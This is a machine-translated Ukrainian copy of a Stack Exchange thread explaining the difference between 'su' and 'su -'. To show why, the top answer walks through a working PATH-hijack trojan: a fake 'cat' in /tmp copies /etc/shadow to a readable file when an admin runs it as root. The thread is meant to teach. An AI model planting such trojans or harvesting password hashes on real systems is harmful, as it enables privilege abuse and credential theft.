Чому ми використовуємо su - а не тільки su?


Відповіді:


240

su -після переключення користувача викликає оболонку входу. Оболонка входу скидає більшість змінних середовища, забезпечуючи чисту базу.

su просто перемикає користувача, забезпечуючи звичайну оболонку із середовищем, майже таким же, як і у старого користувача.

Уявіть, ви розробник програмного забезпечення з нормальним доступом користувачів до машини, а ваш необізнаний адміністратор просто не надасть вам root доступу. Давайте (сподіваємось) обдуримо його.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Тепер ви запитуєте свого адміністратора, чому ви не можете catстворити фіктивний файл у домашній папці, він просто не працюватиме!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Якщо ваш адміністратор не такий розумний або просто ледачий, він може зайти до вашого столу і спробувати свої сили суперкористувача:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Оце Так! Дякую, супер адмін!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Він, він.

Можливо, ви помітили, що пошкоджена $PATHзмінна не була скинута. Це не сталося б, якби адміністратор посилався su -натомість.


10
su --те саме, що su.
Мікель

12
- це прапор, який більшість програм трактує як "нічого після цього не слід сприймати як прапор". Корисно для поздоровлення для речей, які починаються з тире.
Девід Макінтош

2
Не забудьте встановити umaskзразок 000 або він не спрацює.
Лекенштейн

10
Можна також просто помістити suфайл у PATH. Не так важко імітувати поведінку реального su. Суперкористувач все одно був необережний :-)
Stéphane Gimenez

10
su --НЕ те саме, що su -: --повідомляє обробник параметрів getopt (s) (або подібний), щоб зупинити обробку командного рядка для подальших параметрів (корисно, наприклад, якщо решта містить назви файлів, які можуть починатися з '-'). Тобто, в "rm -i - -f": -f потім трактується як звичайний аргумент, тому тут як ім'я файлу до rm -i, а не як додатковий -fваріант для rmкоманди. Так su --просто suі ні su -! Тож su --було б настільки ж небезпечно для (смішного та повчального) прикладу, що подається за допомогою ваг. Використовуйте su -.
Олів'є Дулак

35

su -записує вас повністю як корінь, тоді як suробить це таким чином, що ви робите вигляд, що він root.

Найбільш очевидним прикладом цього є ~домашній каталог root, якщо ви використовуєте su -, але власний домашній каталог, якщо ви використовуєте su.

Залежно від вашої системи, це також може означати відмінності у запиті PATHабо файлі історії.

Отже, якщо ви є частиною команди, яка адмініструє систему, і ваш колега дає вам команду запустити, ви знаєте, що вона буде працювати однаково, якщо ви обидва використовуєте su -, але якщо ви обидва використовуєте su, можливі відмінності через те, що у вас є різні конфігурації оболонок.

З іншого боку, якщо ви хочете запустити команду як root, але використовуючи власну конфігурацію, то, можливо, suвам краще.

Також не забувайте про те sudo, що є -sможливість запустити оболонку, що працює як root. Звичайно, для цього є і різні правила, і вони змінюються залежно від того, який дистрибутив ви використовуєте.


1
коли я "су", я отримую ~ та $ HOME як оцінки / root. Чи поведінка, яку ви описуєте, специфічна для певних оболонок чи версій ОС чи щось таке? Я розумію, що ~ може бути розширено ядром. У мене zsh як моя (і коренева) оболонка.
JasonWoof

Ваш .bashrcабо /etc/bashrcабо /etc/profile.dсценарії установки PATH. Шукайте if [ $UID -eq 0 ]чи щось подібне.
Мікель

$USERнаприклад, залишається без змін.
петерф

1
Про що sudo su?
Саймон Куанг

1
Ваш приклад для мене не працює. Я вирішую той самий каталог вирішеним у будь-якому випадку.
Даніель В.

1

Я використовую su - коли я перебуваю в каталозі як звичайний користувач, але хочу переключитися на root і залишитися в тому ж каталозі після переключення. Якщо ви використовуєте su - він перемикає користувача на root, а також переносить вас на / root, який є головним домашнім каталогом.


Або /все, що визначається як домашній каталог root
Jeff Schaller

-1

Основна відмінність:

su - username встановлює середовище оболонки так, як якщо б це був чистий логін, як вказаний користувач, він отримує доступ та використовує вказані змінні середовища середовища користувачів,

su username просто запускає оболонку з поточними налаштуваннями середовища для вказаного користувача.

Якщо ім'я користувача не вказано з suі su -, кореневий обліковий запис мається на увазі як за замовчуванням.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.